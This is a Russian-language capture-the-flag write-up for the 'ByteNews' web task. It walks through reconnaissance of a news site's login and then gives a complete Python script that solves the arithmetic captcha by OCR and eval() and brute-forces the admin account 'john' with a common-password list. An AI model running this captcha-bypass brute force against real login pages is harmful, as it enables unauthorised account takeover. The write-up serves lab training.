Название: ByteNews
Категория: Web
Уровень: Лёгкий
Ссылка на задание: https://hackerlab.pro/categories/web/addd888c-1030-4835-bb22-6b19338a881a
XP: 300
Введение
На этот таск тоже есть официальный WriteUp, однако как мне показалось слабо расписана логика программы + я хочу показать свой код и рассказать о нём. Хоть задание указано как лёгкое, я бы порекомендовал модераторам платформы пересмотреть уровень сложности на средний, поскольку:- Нужно писать python код
- Требуется знание нетривиальных библиотек и принципы их работы
Reconnaissance
Нас стречает новостной сайт из мира IT. Обратим внимание на то, что все публикации сделаны от пользователя john, а также на то, что постов всего 4. Это говорит о том, что ресурс только начал работу и скорее всего john и есть администратор ресурса.Переходим на вкладку Login и видим большую неприятность в виде Captcha.
Первое что я попробовал была SQLi, но она не прошла. Тогда я подумал о том, что капча здесь не просто так, и нас хотят заставить брутить, но не через ffuf или hydra как мы любим, а чтобы мы немного помучались. Для этого реализовали captcha.
Из исходного кода узнаём что авторизация происходит по пути /auth.php.
А captcha обычный php файл.
Хорошо. Нужную информацию собрали, переходим к разработке программы.
Weaponization
Итак, нам точно понадобятся 3 библиотеки:- Для работы с заросами post/get
- Для сохранения изображения
- Для обработки изображения
http://62.173.140.174:16095/captcha.php и записываем его в файл, но не разом, а чанками, потому что тогда изображение ломается. Потом мы открываем изображение в python и распазнаём текст на картинке и очищаем его от мусора (невидмых переносов).
Теперь нужно "очистить" текст, чтобы мы получили только числа и знаки действий, без равно и знака вопроса. Для этого пишем регулярное выражение:
clean = re.sub(r"[^0-9+-*/]", "", raw_text) и с помощью функции
eval() считаем пример и записываем ответ.Теперь отправляем запрос с сохранённой сессией с data где указываем все необходимые переменные.
Python:
r = session.post('http://{IP}:16095/auth.php', data={'username': 'john','password':str(word).strip(),'captcha':str(solve).strip()})
Далее анализируем ответ сервера, если в ответе есть слово "captcha" - это означает, что ответ не был принят, и программа нас не авторизовала и всё ещё требует captcha. Если captcha исчезла, значит система нас пропустила. (На самом деле можно было сравнить по "Invalid username or password" или размеру текста, разницы нет в контексте CTF).
Представляю свой код для анализа:
Python:
import requests
from PIL import Image
import pytesseract
import re
def main():
with open("/usr/share/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords-100.txt", "r") as passwords:
with requests.Session() as session:
for word in passwords:
#print(word)
get_img = session.get('http://{IP}:16095/captcha.php')
with open("captcha.png", "wb") as file:
for chunk in get_img.iter_content(chunk_size=8192):
file.write(chunk)
with Image.open("captcha.png") as img:
#cconfig = r"--psm 7 -c tessedit_char_whitelist=0123456789+-*/="
cconfig = r"--psm 7"
raw_text = pytesseract.image_to_string(img, config=cconfig).strip()
clean = re.sub(r"[^0-9+-*/]", "", raw_text) #
solve = eval(clean)
#print(solve)
r = session.post('http://{IP}:16095/auth.php', data={'username': 'john','password':str(word).strip(),'captcha':str(solve).strip()})
if "captcha" in r.text:
print("Password:",str(word),"|","Captcha:",str(clean),"|","Answer:",eval(clean),"|", "login? ","no")
#print("Captcha:",clean,"Solve:",solve)
#print(r.text)
#print(r.request.body)
else:
print("==========================================")
print("Password:",str(word),"|","Captcha:",str(clean),"|","Answer:",eval(clean),"|", "login? ","YES")
print(r.request.body)
print("==========================================")
break
if __name__ == "__main__":
main()
Фиксы моего кода или ваш код приветствуются.